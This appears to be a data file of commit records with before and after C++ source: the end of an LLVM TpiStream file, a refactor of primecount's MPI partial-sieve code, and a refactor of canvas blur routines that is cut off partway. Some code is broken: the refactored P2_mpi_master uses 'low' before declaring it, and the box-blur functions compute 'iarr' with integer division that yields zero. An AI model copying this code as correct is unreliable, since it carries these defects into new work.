Header->HashStreamIndex;\n}\n\nuint16_t TpiStream::getTypeHashStreamAuxIndex() const {\n  return Header->HashAuxStreamIndex;\n}\n\ncodeview::FixedStreamArray<support::ulittle32_t>\nTpiStream::getHashValues() const {\n  return HashValues;\n}\n\ncodeview::FixedStreamArray<TypeIndexOffset>\nTpiStream::getTypeIndexOffsets() const {\n  return TypeIndexOffsets;\n}\n\ncodeview::FixedStreamArray<TypeIndexOffset>\nTpiStream::getHashAdjustments() const {\n  return HashAdjustments;\n}\n\niterator_range<codeview::CVTypeArray::Iterator>\nTpiStream::types(bool *HadError) const {\n  return llvm::make_range(TypeRecords.begin(HadError), TypeRecords.end());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\n\/\/\/ @file  P2_mpi.cpp\n\/\/\/ @brief 2nd partial sieve function.\n\/\/\/        P2(x, y) counts the numbers <= x that have exactly 2 prime\n\/\/\/        factors each exceeding the a-th prime.\n\/\/\/\n\/\/\/ Copyright (C) 2016 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primecount.hpp>\n#include <primecount-internal.hpp>\n#include <primesieve.hpp>\n#include <aligned_vector.hpp>\n#include <int128.hpp>\n#include <min_max.hpp>\n#include <mpi_reduce_sum.hpp>\n#include <pmath.hpp>\n#include <print.hpp>\n\n#include <stdint.h>\n#include <algorithm>\n#include <iostream>\n#include <iomanip>\n\n#ifdef _OPENMP\n  #include <omp.h>\n#endif\n\nusing namespace std;\nusing namespace primecount;\n\nnamespace {\n\n\/\/\/ Calculate the segment_size per thread.\n\/\/\/ The idea is to gradually increase the segment_size per\n\/\/\/ thread in order to keep all CPU cores busy.\n\/\/\/\nint64_t balanceLoad(int64_t segment_size, double start_time)\n{\n  double seconds = get_wtime() - start_time;\n  int min_segment_size = 1 << 20;\n\n  if (seconds < 30)\n    segment_size *= 2;\n  else if (segment_size > min_segment_size)\n    segment_size -= segment_size \/ 4;\n\n  return segment_size;\n}\n\ntemplate <typename T>\nint64_t count_primes(primesieve::iterator& it,\n                     int64_t& prime,\n                     T stop)\n{\n  int64_t count = 0;\n\n  for (; prime <= stop; count++)\n    prime = it.next_prime();\n\n  return count;\n}\n\ntemplate <typename T>\nT P2_OpenMP_thread(T x,\n                   int64_t y,\n                   int64_t z,\n                   int64_t segment_size,\n                   int64_t thread_num,\n                   int64_t low,\n                   int64_t& pix,\n                   int64_t& pix_count)\n{\n  pix = 0;\n  pix_count = 0;\n  low += thread_num * segment_size;\n  z = min(low + segment_size, z);\n  int64_t start = (int64_t) max(x \/ z, y);\n  int64_t stop = (int64_t) min(x \/ low, isqrt(x));\n\n  primesieve::iterator rit(stop + 1, start);\n  primesieve::iterator it(low - 1, z);\n\n  int64_t next = it.next_prime();\n  int64_t prime = rit.previous_prime();\n  T P2_thread = 0;\n\n  \/\/ \\sum_{i = pi[start]+1}^{pi[stop]} pi(x \/ primes[i])\n  while (prime > start &&\n         x \/ prime < z)\n  {\n    pix += count_primes(it, next, x \/ prime);\n    P2_thread += pix;\n    pix_count++;\n    prime = rit.previous_prime();\n  }\n\n  pix += count_primes(it, next, z - 1);\n\n  return P2_thread;\n}\n\n\/\/\/ P2_mpi_master(x, y) counts the numbers <= x that have exactly 2\n\/\/\/ prime factors each exceeding the a-th prime, a = pi(y).\n\/\/\/ Space complexity: O((x \/ y)^(1\/2)).\n\/\/\/\ntemplate <typename T>\nT P2_mpi_master(T x, int64_t y, int threads)\n{\n#if __cplusplus >= 201103L\n  static_assert(prt::is_signed<T>::value,\n                \"P2(T x, ...): T must be signed integer type\");\n#endif\n\n  if (x < 4)\n    return 0;\n\n  T a = pi_legendre(y, threads);\n  T b = pi_legendre((int64_t) isqrt(x), threads);\n\n  if (a >= b)\n    return 0;\n\n  int64_t low = 2;\n  int64_t z = (int64_t)(x \/ max(y, 1));\n  int64_t segment_size = 1 << 20;\n  threads = ideal_num_threads(threads, z);\n\n  aligned_vector<int64_t> pix(threads);\n  aligned_vector<int64_t> pix_counts(threads);\n\n  int proc_id = mpi_proc_id();\n  int procs = mpi_num_procs();\n\n  int64_t distance = z - low;\n  int64_t proc_distance = ceil_div(distance, procs);\n  low += proc_distance * proc_id;\n  z = min(low + proc_distance, z);\n\n  \/\/ \\sum_{i=a+1}^{b} pi(x \/ primes[i]) - (i - 1)\n  T p2 = 0;\n\n  \/\/ \\sum_{i=a+1}^{b} -(i - 1)\n  if (is_mpi_master_proc())\n    p2 = (a - 2) * (a + 1) \/ 2 - (b - 2) * (b + 1) \/ 2;\n\n  T pix_total = pi_legendre(low - 1, threads);\n\n  \/\/ \\sum_{i=a+1}^{b} pi(x \/ primes[i])\n  while (low < z)\n  {\n    int64_t segments = ceil_div(z - low, segment_size);\n    threads = in_between(1, threads, segments);\n    double time = get_wtime();\n\n    #pragma omp parallel for num_threads(threads) reduction(+: p2)\n    for (int i = 0; i < threads; i++)\n      p2 += P2_OpenMP_thread(x, y, z, segment_size, \n        i, low, pix[i], pix_counts[i]);\n\n    low += segment_size * threads;\n    segment_size = balanceLoad(segment_size, time);\n\n    \/\/ Add missing sum contributions in order\n    for (int i = 0; i < threads; i++)\n    {\n      p2 += pix_total * pix_counts[i];\n      pix_total += pix[i];\n    }\n\n    if (print_status())\n    {\n      double percent = get_percent((double) low, (double) z);\n      cout << \"\\rStatus: \" << fixed << setprecision(get_status_precision(x))\n           << percent << '%' << flush;\n    }\n  }\n\n  p2 = mpi_reduce_sum(p2);\n\n  return p2;\n}\n\n} \/\/ namespace\n\nnamespace primecount {\n\nint64_t P2_mpi(int64_t x, int64_t y, int threads)\n{\n  print(\"\");\n  print(\"=== P2_mpi(x, y) ===\");\n  print(\"Computation of the 2nd partial sieve function\");\n  print(x, y, threads);\n\n  double time = get_wtime();\n  int64_t p2 = P2_mpi_master(x, y, threads);\n\n  print(\"P2\", p2, time);\n  return p2;\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t P2_mpi(int128_t x, int64_t y, int threads)\n{\n  print(\"\");\n  print(\"=== P2_mpi(x, y) ===\");\n  print(\"Computation of the 2nd partial sieve function\");\n  print(x, y, threads);\n\n  double time = get_wtime();\n  int128_t p2 = P2_mpi_master(x, y, threads);\n\n  print(\"P2\", p2, time);\n  return p2;\n}\n\n#endif\n\n} \/\/ namespace\n<commit_msg>Refactor<commit_after>\/\/\/\n\/\/\/ @file  P2_mpi.cpp\n\/\/\/ @brief 2nd partial sieve function.\n\/\/\/        P2(x, y) counts the numbers <= x that have exactly 2 prime\n\/\/\/        factors each exceeding the a-th prime.\n\/\/\/\n\/\/\/ Copyright (C) 2016 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primecount.hpp>\n#include <primecount-internal.hpp>\n#include <primesieve.hpp>\n#include <aligned_vector.hpp>\n#include <int128.hpp>\n#include <min_max.hpp>\n#include <mpi_reduce_sum.hpp>\n#include <pmath.hpp>\n#include <print.hpp>\n\n#include <stdint.h>\n#include <algorithm>\n#include <iostream>\n#include <iomanip>\n\n#ifdef _OPENMP\n  #include <omp.h>\n#endif\n\nusing namespace std;\nusing namespace primecount;\n\nnamespace {\n\n\/\/\/ Calculate the segment_size per thread.\n\/\/\/ The idea is to gradually increase the segment_size per\n\/\/\/ thread in order to keep all CPU cores busy.\n\/\/\/\nint64_t balanceLoad(int64_t segment_size, double start_time)\n{\n  double seconds = get_wtime() - start_time;\n  int min_segment_size = 1 << 20;\n\n  if (seconds < 30)\n    segment_size *= 2;\n  else if (segment_size > min_segment_size)\n    segment_size -= segment_size \/ 4;\n\n  return segment_size;\n}\n\ntemplate <typename T>\nint64_t count_primes(primesieve::iterator& it, int64_t& prime, T stop)\n{\n  int64_t count = 0;\n\n  for (; prime <= stop; count++)\n    prime = it.next_prime();\n\n  return count;\n}\n\ntemplate <typename T>\nT P2_OpenMP_thread(T x,\n                   int64_t y,\n                   int64_t z,\n                   int64_t segment_size,\n                   int64_t thread_num,\n                   int64_t low,\n                   int64_t& pix,\n                   int64_t& pix_count)\n{\n  pix = 0;\n  pix_count = 0;\n  low += thread_num * segment_size;\n  z = min(low + segment_size, z);\n  int64_t start = (int64_t) max(x \/ z, y);\n  int64_t stop = (int64_t) min(x \/ low, isqrt(x));\n\n  primesieve::iterator rit(stop + 1, start);\n  primesieve::iterator it(low - 1, z);\n\n  int64_t next = it.next_prime();\n  int64_t prime = rit.previous_prime();\n  T P2_thread = 0;\n\n  \/\/ \\sum_{i = pi[start]+1}^{pi[stop]} pi(x \/ primes[i])\n  while (prime > start &&\n         x \/ prime < z)\n  {\n    pix += count_primes(it, next, x \/ prime);\n    P2_thread += pix;\n    pix_count++;\n    prime = rit.previous_prime();\n  }\n\n  pix += count_primes(it, next, z - 1);\n\n  return P2_thread;\n}\n\n\/\/\/ P2_mpi_master(x, y) counts the numbers <= x that have exactly 2\n\/\/\/ prime factors each exceeding the a-th prime, a = pi(y).\n\/\/\/ Space complexity: O((x \/ y)^(1\/2)).\n\/\/\/\ntemplate <typename T>\nT P2_mpi_master(T x, int64_t y, int threads)\n{\n#if __cplusplus >= 201103L\n  static_assert(prt::is_signed<T>::value,\n                \"P2(T x, ...): T must be signed integer type\");\n#endif\n\n  if (x < 4)\n    return 0;\n\n  T a = pi_legendre(y, threads);\n  T b = pi_legendre((int64_t) isqrt(x), threads);\n\n  if (a >= b)\n    return 0;\n\n  T p2 = 0;\n  T pix_total = pi_legendre(low - 1, threads);\n\n  if (is_mpi_master_proc())\n    p2 = (a - 2) * (a + 1) \/ 2 - (b - 2) * (b + 1) \/ 2;\n\n  int64_t low = 2;\n  int64_t z = (int64_t)(x \/ max(y, 1));\n  int64_t segment_size = 1 << 20;\n\n  threads = ideal_num_threads(threads, z);\n  aligned_vector<int64_t> pix(threads);\n  aligned_vector<int64_t> pix_counts(threads);\n\n  int proc_id = mpi_proc_id();\n  int procs = mpi_num_procs();\n\n  int64_t distance = z - low;\n  int64_t proc_distance = ceil_div(distance, procs);\n  low += proc_distance * proc_id;\n  z = min(low + proc_distance, z);\n\n  \/\/ \\sum_{i=a+1}^{b} pi(x \/ primes[i])\n  while (low < z)\n  {\n    int64_t segments = ceil_div(z - low, segment_size);\n    threads = in_between(1, threads, segments);\n    double time = get_wtime();\n\n    #pragma omp parallel for num_threads(threads) reduction(+: p2)\n    for (int i = 0; i < threads; i++)\n      p2 += P2_OpenMP_thread(x, y, z, segment_size, \n        i, low, pix[i], pix_counts[i]);\n\n    low += segment_size * threads;\n    segment_size = balanceLoad(segment_size, time);\n\n    \/\/ Add missing sum contributions in order\n    for (int i = 0; i < threads; i++)\n    {\n      p2 += pix_total * pix_counts[i];\n      pix_total += pix[i];\n    }\n\n    if (print_status())\n    {\n      double percent = get_percent((double) low, (double) z);\n      cout << \"\\rStatus: \" << fixed << setprecision(get_status_precision(x))\n           << percent << '%' << flush;\n    }\n  }\n\n  p2 = mpi_reduce_sum(p2);\n\n  return p2;\n}\n\n} \/\/ namespace\n\nnamespace primecount {\n\nint64_t P2_mpi(int64_t x, int64_t y, int threads)\n{\n  print(\"\");\n  print(\"=== P2_mpi(x, y) ===\");\n  print(\"Computation of the 2nd partial sieve function\");\n  print(x, y, threads);\n\n  double time = get_wtime();\n  int64_t p2 = P2_mpi_master(x, y, threads);\n\n  print(\"P2\", p2, time);\n  return p2;\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t P2_mpi(int128_t x, int64_t y, int threads)\n{\n  print(\"\");\n  print(\"=== P2_mpi(x, y) ===\");\n  print(\"Computation of the 2nd partial sieve function\");\n  print(x, y, threads);\n\n  double time = get_wtime();\n  int128_t p2 = P2_mpi_master(x, y, threads);\n\n  print(\"P2\", p2, time);\n  return p2;\n}\n\n#endif\n\n} \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>#include <Surface.h>\n\n#include <Color.h>\n#include <Image.h>\n\n#include <cstring>\n#include <vector>\n#include <cmath>\n#include <cassert>\n#include <iostream>\n\nusing namespace std;\nusing namespace canvas;\n\nstatic vector<int> make_kernel(float radius) {\n  int r = (int)ceil(radius);\n  int rows = 2 * r + 1;\n  float sigma = radius \/ 3;\n  float sigma22 = 2.0f * sigma * sigma;\n  float sigmaPi2 = 2.0f * float(M_PI) * sigma;\n  float sqrtSigmaPi2 = sqrt(sigmaPi2);\n  \/\/ float radius2 = radius*radius;\n  vector<int> kernel;\n  kernel.reserve(rows);\n\n  int row = -r;\n  float first_value = exp(-row*row\/sigma22) \/ sqrtSigmaPi2;\n  kernel.push_back(1);\n  \n  for (unsigned int i = 1; i < rows; i++, row++) {\n    \/\/ for (row++; row <= r; row++) {\n    kernel.push_back(int(exp(-row * row \/ sigma22) \/ sqrtSigmaPi2 \/ first_value));\n  }\n  return kernel;\n}\n\n\/\/ standard deviation, number of boxes\nstatic vector<int> boxesForGauss(float sigma, unsigned int n) {\n  \/\/ Ideal averaging filter width \n  float wIdeal = sqrtf((12.0f * sigma * sigma \/ n) + 1);\n  int wl = int(floor(wIdeal));\n  if (wl % 2 == 0) wl--;\n  int wu = wl + 2;\n  \n  float mIdeal = (12.0f * sigma * sigma - n*wl*wl - 4*n*wl - 3*n) \/ (-4*wl - 4);\n  int m = int(round(mIdeal));\n  \/\/ var sigmaActual = Math.sqrt( (m*wl*wl + (n-m)*wu*wu - n)\/12 );\n\n  vector<int> sizes;\n  for (int i = 0; i < n; i++) sizes.push_back(i < m ? wl : wu);\n  return sizes;\n}\n\nstatic void boxBlurH_4(unsigned char * scl, unsigned char * tcl, int w, int h, int r) {\n  float iarr = 1 \/ (r+r+1);\n  for (int ch = 0; ch < 4; ch++) {\n    for (int i=0; i < h; i++) {\n      int ti = i*w;\n      int li = ti;\n      int ri = ti + r;\n      int fv = scl[4 * ti + ch];\n      int lv = scl[4 * (ti + w - 1) + ch];\n      int val = (r+1)*fv;\n      for (int j = 0; j  < r; j++) val += scl[4 * (ti + j) + ch];\n      for (int j = 0; j <= r; j++) {\n\tval += scl[4 * ri++ + ch] - fv;\n\ttcl[4 * ti++ + ch] = int(round(val * iarr));\n      }\n      for (int j = r+1; j < w-r; j++) {\n\tval += scl[4 * ri++ + ch] - scl[4 * li++ + ch];\n\ttcl[4 * ti++ + ch] = int(round(val*iarr));\n      }\n      for (int j = w-r; j < w; j++) {\n\tval += lv - scl[4 * li++ + ch];\n\ttcl[4 * ti++ + ch] = int(round(val*iarr));\n      }\n    }\n  }\n}\n\nstatic void boxBlurT_4(unsigned char * scl, unsigned char * tcl, int w, int h, int r) {\n  float iarr = 1 \/ (r+r+1);\n  for (int ch = 0; ch < 4; ch++) {\n    for (int i = 0; i < w; i++) {\n      int ti = i;\n      int li = ti;\n      int ri = ti + r * w;\n      int fv = scl[4 * ti + ch];\n      int lv = scl[4 * (ti+w*(h-1)) + ch];\n      int val = (r+1)*fv;\n      for (int j = 0; j < r; j++) val += scl[4 * (ti+j*w) + ch];\n      for (int j = 0; j <= r; j++) {\n\tval += scl[4 * ri + ch] - fv;\n\ttcl[4 * ti + ch] = int(round(val*iarr));\n\tri += w;\n\tti += w;\n      }\n      for (int j = r+1; j<h-r; j++) {\n\tval += scl[4 * ri + ch] - scl[4 * li + ch];\n\ttcl[4 * ti + ch] = int(round(val*iarr));\n\tli += w;\n\tri += w;\n\tti += w;\n      }\n      for (int j = h-r; j < h; j++) {\n\tval += lv - scl[4 * li + ch];\n\ttcl[4 * ti + ch] = int(round(val*iarr));\n\tli += w;\n\tti += w;\n      }\n    }\n  }\n}\n\nstatic void boxBlur_4(unsigned char * scl, unsigned char * tcl, int w, int h, int r) {\n  for (int i = 0; i < 4 * w * h; i++) tcl[i] = scl[i];\n  boxBlurH_4(tcl, scl, w, h, r);\n  boxBlurT_4(scl, tcl, w, h, r);\n}\n\nvoid\nSurface::blur(float r) {\n  auto bxs = boxesForGauss(r, 3);\n\n  int w = getActualWidth(), h = getActualHeight();\n  unsigned char * scl = (unsigned char *)lockMemory(true);  \n  unsigned char * tcl = new unsigned char[w * h * 4];\n\n  cerr << \"boxes: \" << bxs[0] << \", \" << bxs[1] << \", \" << bxs[2] << endl;\n  \n  boxBlur_4(scl, tcl, w, h, (bxs[0]-1) \/ 2);\n  boxBlur_4(tcl, scl, w, h, (bxs[1]-1) \/ 2);\n  boxBlur_4(scl, tcl, w, h, (bxs[2]-1) \/ 2);\n\n  memcpy(scl, tcl, w * h * 4);\n  delete[] tcl;\n  releaseMemory();\n}\n\nvoid\nSurface::slowBlur(float hradius, float vradius) {\n  if (!(hradius > 0 || vradius > 0)) {\n    return;\n  }\n\n  unsigned char * buffer = (unsigned char *)lockMemory(true);\n  assert(buffer);\n\n  if (format == RGBA8) {\n    unsigned char * tmp = new unsigned char[actual_width * actual_height * 4];\n    if (hradius > 0.0f) {\n      vector<int> hkernel = make_kernel(hradius);\n      unsigned short hsize = hkernel.size();\n      int htotal = 0;\n      for (vector<int>::iterator it = hkernel.begin(); it != hkernel.end(); it++) {\n\thtotal += *it;\n      }\n      memset(tmp, 0, actual_width * actual_height * 4);\n      for (unsigned int row = 0; row < actual_height; row++) {\n\tfor (unsigned int col = 0; col + hsize < actual_width; col++) {\n\t  int c0 = 0, c1 = 0, c2 = 0, c3 = 0;\n\t  for (unsigned int i = 0; i < hsize; i++) {\n\t    unsigned char * ptr = buffer + (row * actual_width + col + i) * 4;\n\t    c0 += *ptr++ * hkernel[i];\n\t    c1 += *ptr++ * hkernel[i];\n\t    c2 += *ptr++ * hkernel[i];\n\t    c3 += *ptr++ * hkernel[i];\n\t  }\n\t  unsigned char * ptr = tmp + (row * actual_width + col + hsize \/ 2) * 4;\n\t  *ptr++ = (unsigned char)(c0 \/ htotal);\n\t  *ptr++ = (unsigned char)(c1 \/ htotal);\n\t  *ptr++ = (unsigned char)(c2 \/ htotal);\n\t  *ptr++ = (unsigned char)(c3 \/ htotal);\n\t}\n      }\n    } else {\n      memcpy(tmp, buffer, actual_width * actual_height * 4);\n    }\n    if (vradius > 0) {\n      vector<int> vkernel = make_kernel(vradius);\n      unsigned short vsize = vkernel.size();\n      int vtotal = 0;\n      for (vector<int>::iterator it = vkernel.begin(); it != vkernel.end(); it++) {\n\tvtotal += *it;\n      }\n      \n      memset(buffer, 0, actual_width * actual_height * 4);\n      for (unsigned int col = 0; col < actual_width; col++) {\n\tfor (unsigned int row = 0; row + vsize < actual_height; row++) {\n\t  int c0 = 0, c1 = 0, c2 = 0, c3 = 0;\n\t  for (unsigned int i = 0; i < vsize; i++) {\n\t    unsigned char * ptr = tmp + ((row + i) * actual_width + col) * 4;\n\t    c0 += *ptr++ * vkernel[i];\n\t    c1 += *ptr++ * vkernel[i];\n\t    c2 += *ptr++ * vkernel[i];\n\t    c3 += *ptr++ * vkernel[i];\n\t  }\n\t  unsigned char * ptr = buffer + ((row + vsize \/ 2) * actual_width + col) * 4;\n\t  *ptr++ = (unsigned char)(c0 \/ vtotal);\n\t  *ptr++ = (unsigned char)(c1 \/ vtotal);\n\t  *ptr++ = (unsigned char)(c2 \/ vtotal);\n\t  *ptr++ = (unsigned char)(c3 \/ vtotal);\n\t}\n      }\n    } else {\n      memcpy(buffer, tmp, actual_width * actual_height * 4);\n    }\n    delete[] tmp;\n  } else if (format == R8) {\n    unsigned char * tmp = new unsigned char[actual_width * actual_height];\n    if (hradius > 0.0f) {\n      vector<int> hkernel = make_kernel(hradius);\n      unsigned short hsize = hkernel.size();\n      int htotal = 0;\n      for (vector<int>::iterator it = hkernel.begin(); it != hkernel.end(); it++) {\n\thtotal += *it;\n      }\n      memset(tmp, 0, actual_width * actual_height);\n      for (unsigned int row = 0; row < actual_height; row++) {\n\tfor (unsigned int col = 0; col + hsize < actual_width; col++) {\n\t  int c0 = 0;\n\t  for (unsigned int i = 0; i < hsize; i++) {\n\t    unsigned char * ptr = buffer + (row * actual_width + col + i);\n\t    c0 += *ptr * hkernel[i];\t    \n\t  }\n\t  unsigned char * ptr = tmp + (row * actual_width + col + hsize \/ 2);\n\t  *ptr = (unsigned char)(c0 \/ htotal);\t  \n\t}\n      }\n    } else {\n      memcpy(tmp, buffer, actual_width * actual_height);\n    }\n    if (vradius > 0) {\n      vector<int> vkernel = make_kernel(vradius);\n      unsigned short vsize = vkernel.size();\n      int vtotal = 0;\n      for (vector<int>::iterator it = vkernel.begin(); it != vkernel.end(); it++) {\n\tvtotal += *it;\n      }\n      \n      memset(buffer, 0, actual_width * actual_height);\n      for (unsigned int col = 0; col < actual_width; col++) {\n\tfor (unsigned int row = 0; row + vsize < actual_height; row++) {\n\t  int c0 = 0;\n\t  for (unsigned int i = 0; i < vsize; i++) {\n\t    unsigned char * ptr = tmp + ((row + i) * actual_width + col);\n\t    c0 += *ptr++ * vkernel[i];\n\t  }\n\t  unsigned char * ptr = buffer + ((row + vsize \/ 2) * actual_width + col);\n\t  *ptr = (unsigned char)(c0 \/ vtotal);\n\t}\n      }\n    } else {\n      memcpy(buffer, tmp, actual_width * actual_height);\n    }\n    delete[] tmp;    \n  }\n  releaseMemory();\n}\n\nvoid\nSurface::colorize(const Color & input_color, Surface & target) {\n  Color color = input_color;\n  color.red *= color.alpha;\n  color.green *= color.alpha;\n  color.blue *= color.alpha;\n  \n  assert(getFormat() == R8 && target.getFormat() == RGBA8);\n  assert(getActualWidth() == target.getActualWidth() && getActualHeight() == target.getActualHeight());\n  unsigned char * buffer = (unsigned char *)lockMemory(false);\n  unsigned char * target_buffer = (unsigned char *)target.lockMemory(true);\n\n  for (unsigned int i = 0; i < actual_width * actual_height; i++) {\n    float input_alpha = buffer[i] \/ 255.0f;\n    target_buffer[4 * i + 0] = (unsigned char)(color.red * input_alpha * 255);\n    target_buffer[4 * i + 1] = (unsigned char)(color.green * input_alpha * 255);\n    target_buffer[4 * i + 2] = (unsigned char)(color.blue * input_alpha * 255);\n    target_buffer[4 * i + 3] = (unsigned char)(color.alpha * input_alpha * 255);\n  }\n  \n  releaseMemory();\n  target.releaseMemory();\n}\n\n#if 0\nvoid\nSurface::multiply(const Color & color) {\n  assert(getFormat() == RGBA8);\n  unsigned char * buffer = (unsigned char *)lockMemory(true);\n  assert(buffer);\n  unsigned int red = toByte(color.red);\n  unsigned int green = toByte(color.green);\n  unsigned int blue = toByte(color.blue);\n  unsigned int alpha = toByte(color.alpha);\n  for (unsigned int i = 0; i < actual_width * actual_height; i++) {\n    unsigned char * ptr = buffer + (i * 4);\n    ptr[0] = (unsigned char)(ptr[0] * red \/ 255);\n    ptr[1] = (unsigned char)(ptr[1] * green \/ 255);\n    ptr[2] = (unsigned char)(ptr[2] * blue \/ 255);\n    ptr[3] = (unsigned char)(ptr[3] * alpha \/ 255);\n  }\n  releaseMemory();\n}\n#endif\n\n#if 0\nvoid *\nSurface::lockMemoryPartial(unsigned int x0, unsigned int y0, unsigned int required_width, unsigned int required_height) {\n  unsigned int * buffer = (unsigned int *)lockMemory();\n  assert(buffer);\n\n  delete[] scaled_buffer;\n  scaled_buffer = new unsigned int[required_width * required_height];\n\n  unsigned int offset = 0;\n  for (unsigned int y = y0; y < y0 + required_height; y++) {\n    for (unsigned int x = x0; x < x0 + required_width; x++) {\n      scaled_buffer[offset++] = buffer[y * actual_width + x];\n    }\n  }\n\n  return scaled_buffer;\n}\n#endif\n\nbool\nSurface::isPNG(const unsigned char * buffer, size_t size) {\n  return size >= 4 && buffer[0] == 0x89 && buffer[1] == 0x50 && buffer[2] == 0x4e && buffer[3] == 0x47;\n}\n\nbool\nSurface::isJPEG(const unsigned char * buffer, size_t size) {\n  return size >= 3 && buffer[0] == 0xff && buffer[1] == 0xd8 && buffer[2] == 0xff;\n}\n\nbool\nSurface::isGIF(const unsigned char * buffer, size_t size) {\n  return size >= 6 && buffer[0] == 'G' && buffer[1] == 'I' && buffer[2] == 'F' && buffer[3] == '8' && (buffer[4] == '7' || buffer[4] == '9') && buffer[5] == 'a';\n}\n\nbool\nSurface::isBMP(const unsigned char * buffer, size_t size) {\n  return size > 2 && buffer[0] == 0x42 && buffer[1] == 0x4d;\n}\n\nbool\nSurface::isXML(const unsigned char * buffer, size_t size) {\n  return size >= 6 && buffer[0] == '<' && buffer[1] == '!' && buffer[2] == 'D' && buffer[3] == 'O' && buffer[4] == 'C' && buffer[5] == 'T';\n}\n<commit_msg>refactor<commit_after>#include <Surface.h>\n\n#include <Color.h>\n#include <Image.h>\n\n#include <cstring>\n#include <vector>\n#include <cmath>\n#include <cassert>\n#include <iostream>\n\nusing namespace std;\nusing namespace canvas;\n\nstatic vector<int> make_kernel(float radius) {\n  int r = (int)ceil(radius);\n  int rows = 2 * r + 1;\n  float sigma = radius \/ 3;\n  float sigma22 = 2.0f * sigma * sigma;\n  float sigmaPi2 = 2.0f * float(M_PI) * sigma;\n  float sqrtSigmaPi2 = sqrt(sigmaPi2);\n  \/\/ float radius2 = radius*radius;\n  vector<int> kernel;\n  kernel.reserve(rows);\n\n  int row = -r;\n  float first_value = exp(-row*row\/sigma22) \/ sqrtSigmaPi2;\n  kernel.push_back(1);\n  \n  for (unsigned int i = 1; i < rows; i++, row++) {\n    \/\/ for (row++; row <= r; row++) {\n    kernel.push_back(int(exp(-row * row \/ sigma22) \/ sqrtSigmaPi2 \/ first_value));\n  }\n  return kernel;\n}\n\n\/\/ standard deviation, number of boxes\nstatic vector<int> boxesForGauss(float sigma, unsigned int n) {\n  \/\/ Ideal averaging filter width \n  float wIdeal = sqrtf((12.0f * sigma * sigma \/ n) + 1);\n  int wl = int(floor(wIdeal));\n  if (wl % 2 == 0) wl--;\n  int wu = wl + 2;\n  \n  float mIdeal = (12.0f * sigma * sigma - n*wl*wl - 4*n*wl - 3*n) \/ (-4*wl - 4);\n  int m = int(round(mIdeal));\n  \/\/ var sigmaActual = Math.sqrt( (m*wl*wl + (n-m)*wu*wu - n)\/12 );\n\n  vector<int> sizes;\n  for (int i = 0; i < n; i++) sizes.push_back(i < m ? wl : wu);\n  return sizes;\n}\n\nstatic void boxBlurH_4(unsigned char * scl, unsigned char * tcl, int w, int h, int r) {\n  float iarr = 1 \/ (r+r+1);\n  for (int ch = 0; ch < 4; ch++) {\n    for (int i=0; i < h; i++) {\n      int ti = i*w;\n      int li = ti;\n      int ri = ti + r;\n      int fv = scl[4 * ti + ch];\n      int lv = scl[4 * (ti + w - 1) + ch];\n      int val = (r+1)*fv;\n      for (int j = 0; j  < r; j++) val += scl[4 * (ti + j) + ch];\n      for (int j = 0; j <= r; j++) {\n\tval += scl[4 * ri++ + ch] - fv;\n\ttcl[4 * ti++ + ch] = int(round(val * iarr));\n      }\n      for (int j = r+1; j < w-r; j++) {\n\tval += scl[4 * ri++ + ch] - scl[4 * li++ + ch];\n\ttcl[4 * ti++ + ch] = int(round(val*iarr));\n      }\n      for (int j = w-r; j < w; j++) {\n\tval += lv - scl[4 * li++ + ch];\n\ttcl[4 * ti++ + ch] = int(round(val*iarr));\n      }\n    }\n  }\n}\n\nstatic void boxBlurT_4(unsigned char * scl, unsigned char * tcl, int w, int h, int r) {\n  float iarr = 1 \/ (r+r+1);\n  for (int ch = 0; ch < 4; ch++) {\n    for (int i = 0; i < w; i++) {\n      int ti = i;\n      int li = ti;\n      int ri = ti + r * w;\n      int fv = scl[4 * ti + ch];\n      int lv = scl[4 * (ti+w*(h-1)) + ch];\n      int val = (r+1)*fv;\n      for (int j = 0; j < r; j++) val += scl[4 * (ti+j*w) + ch];\n      for (int j = 0; j <= r; j++) {\n\tval += scl[4 * ri + ch] - fv;\n\ttcl[4 * ti + ch] = int(round(val*iarr));\n\tri += w;\n\tti += w;\n      }\n      for (int j = r+1; j<h-r; j++) {\n\tval += scl[4 * ri + ch] - scl[4 * li + ch];\n\ttcl[4 * ti + ch] = int(round(val*iarr));\n\tli += w;\n\tri += w;\n\tti += w;\n      }\n      for (int j = h-r; j < h; j++) {\n\tval += lv - scl[4 * li + ch];\n\ttcl[4 * ti + ch] = int(round(val*iarr));\n\tli += w;\n\tti += w;\n      }\n    }\n  }\n}\n\nstatic void boxBlur_4(unsigned char * scl, unsigned char * tcl, int w, int h, int r) {\n  for (int i = 0; i < 4 * w * h; i++) tcl[i] = scl[i];\n  boxBlurH_4(tcl, scl, w, h, r);\n  boxBlurT_4(scl, tcl, w, h, r);\n}\n\nvoid\nSurface::blur(float r) {\n  auto bxs = boxesForGauss(r, 3);\n\n  int w = getActualWidth(), h = getActualHeight();\n  unsigned char * scl = (unsigned char *)lockMemory(true);  \n  unsigned char * tcl = new unsigned char[w * h * 4];\n\n  cerr << \"boxes: \" << bxs[0] << \", \" << bxs[1] << \", \" << bxs[2] << endl;\n  \n  boxBlur_4(scl, tcl, w, h, (bxs[0]-1) \/ 2);\n  boxBlur_4(tcl, scl, w, h, (bxs[1]-1) \/ 2);\n  boxBlur_4(scl, tcl, w, h, (bxs[2]-1) \/ 2);\n\n  memcpy(scl, tcl, w * h * 4);\n  delete[] tcl;\n  releaseMemory();\n}\n\nvoid\nSurface::slowBlur(float hradius, float vradius) {\n  if (!(hradius > 0 || vradius > 0)) {\n    return;\n  }\n\n  unsigned char * buffer = (unsigned char *)lockMemory(true);\n  assert(buffer);\n\n  if (format == RGBA8) {\n    unsigned char * tmp = new unsigned char[actual_width * actual_height * 4];\n    if (hradius > 0.0f) {\n      vector<int> hkernel = make_kernel(hradius);\n      unsigned short hsize = hkernel.size();\n\n      int htotal = 0;\n      for (auto & a : hkernel) htotal += a;\n\n      memset(tmp, 0, actual_width * actual_height * 4);\n      for (unsigned int row = 0; row < actual_height; row++) {\n\tfor (unsigned int col = 0; col + hsize <= actual_width; col++) {\n\t  int c0 